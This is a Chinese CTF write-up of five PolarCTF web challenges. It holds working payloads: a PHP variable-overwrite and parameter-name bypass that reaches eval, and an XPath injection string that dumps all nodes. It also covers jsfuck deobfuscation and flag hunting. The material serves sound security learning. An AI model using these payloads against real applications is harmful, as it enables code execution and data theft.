polarctf-web(6-10)

php是世界上最好的语言

考察点

内置parse_str、extract函数,非法传参

解题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
//flag in $flag
highlight_file(__FILE__);
include("flag.php");
$c=$_POST['sys'];
$key1 = 0;
$key2 = 0;
if(isset($_GET['flag1']) || isset($_GET['flag2']) || isset($_POST['flag1']) || isset($_POST['flag2'])) {
die("nonononono");
}
@parse_str($_SERVER['QUERY_STRING']);
extract($_POST);
if($flag1 == '8gen1' && $flag2 == '8gen1') {
if(isset($_POST['504_SYS.COM'])){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\?/", $c)){
eval("$c");

}
}
}
?>

parse_str("a=1&b=2") –> $a=1; $b=2;

extract(array("a"=>"1","b"=>"2")) –> $a=1; $b=2;

结合起来:

?_POST[flag1]=8gen1&_POST[flag2]=8gen1 –> $flag1=8gen1; $flag2=8gen1

绕过传参限制

$_POST['504_SYS.COM']需要用到php中的一个特性:

当PHP版本小于8时,如果参数中出现中括号[,中括号会被转换成下划线_,但是会出现转换错误导致接下来如果该参数名中还有非法字符并不会继续转换成下划线_,也就是说如果中括号[出现在前面,那么中括号[还是会被转换成下划线_,但是因为出错导致接下来的非法字符并不会被转换成下划线_

所以传入504[SYS.COM转化为504_SYS.COM

参考:谈一谈PHP中关于非法参数名传参问题

1
2
GET: ?_POST[flag1]=8gen1&_POST[flag2]=8gen1
POST: 504[SYS.COM=echo $flag;

蜜雪冰城吉警店

考察点

js混淆

解题

消息由alert弹出,所以在alert函数打断点

找到周围的变量,发现flag

注入

考察点

xpath注入

解题

用了常见的几种注入都失败了,看wp才知道是xpath注入

使用payload']|//*|//*['

如原语句为//user[@id='INPUT_HERE']/name

输入后变为//user[@id='']|//*|//*['']/name

']|//*|//*[''] 闭合前面的 [@id=' , | 为xpath并集运算符,//* 为匹配所有元素节点,[' 闭合后面的 /name

可遍历出所有节点

召唤神龙

考察点

jsfuck

题解

在游戏源码main.js中找到jsfuck代码

1
(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(![]+[+[]]+([]+[])[([][(![]+[])...

直接解密得到flag

seek flag

考察点

简单题中flag的藏法

解题

打开源码发现注释<!--焯,爬虫要是爬到我的flag怎么办-->

可知要访问robots.txt

得到#flag3:c0ad71dadd11}

在响应头中找到flag2: 3ca8737a70f029d

还发现set-cookie: id=0

将id改为1,得到flag1:flag{7ac5b

拼接得到flag:flag{7ac5b3ca8737a70f029dc0ad71dadd11}